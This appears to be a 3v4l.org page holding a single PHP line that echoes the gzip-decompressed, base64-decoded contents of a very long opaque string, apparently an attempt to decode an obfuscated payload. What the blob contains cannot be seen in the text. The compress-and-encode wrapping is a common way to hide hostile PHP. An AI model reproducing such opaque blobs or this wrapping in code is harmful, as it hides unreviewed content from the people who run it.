3v4l.org

run code in 200+ php & hhvm versions
Bugs & Features
<?php echo gzuncompress(base64_decode("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